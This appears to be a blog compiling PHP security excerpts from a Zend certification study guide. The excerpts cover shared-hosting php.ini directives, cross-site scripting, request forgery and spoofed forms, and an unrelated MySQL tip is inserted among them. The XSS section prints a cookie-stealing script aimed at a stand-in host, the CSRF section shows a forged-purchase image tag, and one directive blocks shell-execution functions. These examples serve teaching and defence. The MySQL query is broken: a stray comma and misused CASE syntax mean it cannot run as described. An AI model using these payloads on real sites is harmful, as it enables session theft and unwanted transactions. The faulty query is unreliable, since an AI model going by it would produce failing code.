Security: Shared Hosting

There are a variety of security issues that arise when using shared hosting solutions. In the past, PHP has tried to solve some of this issues with the safe_mode directive. However, as the PHP manual states, it “is architecturally incorrect to try to solve this problem at the PHP level.” Thus, safe_mode will no longer be available as of PHP 6. Still, there are three php.ini directives that remain important in a shared hosting environment: open_basedir, disable_functions, and disable_classes. These directives do not depend upon safe_mode, and they will remain available for the foreseeable future.
The open_basedir directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, fopen() or include, it checks the the location of the file. If it exists within the directory tree specified by open_basedir, then it will succeed; otherwise, it will fail to open the file. You may set the open_basedir directive in php.ini or on a per-virtual-host basis in httpd.conf. In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories (the latter is often the location of the PEAR library):
<VirtualHost *>
DocumentRoot /home/user/www
ServerName www.example.org
<Directory /home/user/www>
php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
The disable_functions and disable_classes directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any functions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in php.ini. The following example illustrates the use of these directives to disable specific functions and classes:
; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Scripting)

Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. The simplicity of this attack and the number of vulnerable applications in existence make it very attractive tomalicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.
Consider the following form, for example. This form might exist on any of a number of popular community websites that exist today, and it allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.

<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>

Imagine that a malicious user submits a comment on someone’s profile that contains
the following content:

<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’
+ document.cookie;
</script>

Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[’cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Request Forgeries)

A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitraryHTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access. The HTTP request then causes the victimto execute a particular action based on his or her level of privilege, such asmaking a purchase or modifying or removing information.
Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, itwill not prevent your application from receiving forged requests. Thus, your application needs the ability to determine whether the request was intentional and legitimate or possibly forged and malicious.
Before examining the means to protect against forged requests, it may be helpful to understand how such an attack occurs. Consider the following example.
Suppose you have a Web site in which users register for an account and then browse a catalogue of books for purchase. Again, suppose that a malicious user signs up for an account and proceeds through the process of purchasing a book from the site. Along the way, she might learn the following through casual observation:
• She must log in to make a purchase.
• After selecting a book for purchase, she clicks the buy button, which redirects her through checkout.php.
• She sees that the action to checkout.php is a POST action but wonders whether passing parameters to checkout.php through the query string (GET) will work.
• When passing the same form values through the query string (i.e. checkout.php?isbn=0312863551&qty=1), she notices that she has, in fact, successfully purchased a book.
With this knowledge, themalicious user can cause others to make purchases at your site without their knowledge. The easiest way to do this is to use an image tag to embed an image in some arbitraryWeb site other than your own (although, at times, your own site may be used for such an attack). In the following code, the src of the img tag makes a request when the page loads.

<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />

Even though this img tag is embedded on a different Web site, it still continues to make the request to the book catalogue site. For most people, the request will fail because users must be logged in to make a purchase, but, for those users who do happen to be logged into the site (through a cookie or active session), this attack exploits the Web site’s trust in that user and causes them to make a purchase. The solution for this particular type of attack, however, is simple: force the use of POST over GET. This attack works because checkout.php uses the $_REQUEST superglobal array to access isbn and qty. Using $_POST will mitigate the risk of this kind of attack, but it won’t protect against all forged requests.
Other, more sophisticated attacks can make POST requests just as easily as GET, but a simple token method can block these attempts and force users to use your forms. The token method involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user. The following snippet from the aforementioned formillustrates the use of the token method:

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

The processing script that handles this form (checkout.php) can then check for the token:

if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}

SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

IN MYSQL HOW TO COUNT NON-EMPTY CELLS IN ONE ROW

Suppose we want to count the non empty cells in table 'your_table_name' .
The columns that we want to select for non empty criterion are 'column1', 'column2', 'column3'.
Here is the query for the same.

SELECT id,col1+col2+col3 AS COUNT
FROM
(
SELECT id, /*now onwards are columns that we want to select*/
CASE column1 WHEN column1<>'' THEN '1' ELSE '0' END AS col1,
CASE column2 WHEN column2<>'' THEN '1' ELSE '0' END AS col2,
CASE column3 WHEN column3<>'' THEN '1' ELSE '0' END AS col3,
FROM your_table_name GROUP BY id
)
AS subtable;

This query will return the recordset having two columns named as id and COUNT in which COUNT will contain the no. of non empty cells for respective id.

Website Security (Spoofed Forms)

Website security refers to the security of the elements of a website through which an attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack. Thus, it is important to focus on these elements and learn how to protect against the improper use of your forms and URLs. In short, proper input filtering and output escaping will mitigate most of these risks.
A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a formmakes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application. Consider the following form:

<form method="POST" action="process.php">
<p>Street: <input type="text" name="street" maxlength="100" /></p>
<p>City: <input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Pick a state...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- options continue for all 50 states -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p><input type="submit" /></p>
</form>

This form uses the maxlength attribute to restrict the length of content entered into the fields. There may also be some JavaScript validation that tests these restrictions before submitting the form to process.php. In addition, the select field contains a set list of values, as defined by the form. It’s a common mistake to assume that these are the only values that the form can submit. However, as mentioned earlier, it is possible to reproduce this form at another location and submit it by modifying the action to use an absolute URL. Consider the following version of the same form:
<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p>
<p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p>
<p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>

In this version of the form, all client-side restrictions have been removed, and the usermay enter any data, which will then be sent to http://example.org/process.php, the original processing script for the form.
As you can see, spoofing a formsubmission is very easy to do—and it is also virtually impossible to protect against. You may have noticed, though, that it is possible to check the REFERER header within the $_SERVER superglobal array. While this may provide some protection against an attacker who simply copies the form and runs it from another location, even a moderately crafty hacker will be able to easily circumvent it. Suffice to say that, since the Referer header is sent by the client, it is easy to manipulate, and its expected value is always apparent: process.php will expect the referring URL to be that of the original formpage.
Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your rules. Do not merely rely upon clientside validation techniques. Instead, this reiterates the importance of filtering all input. Filtering input ensures that all data must conformto a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.

source:ZEND PHP5 CERTIFICATION STUDY GUIDE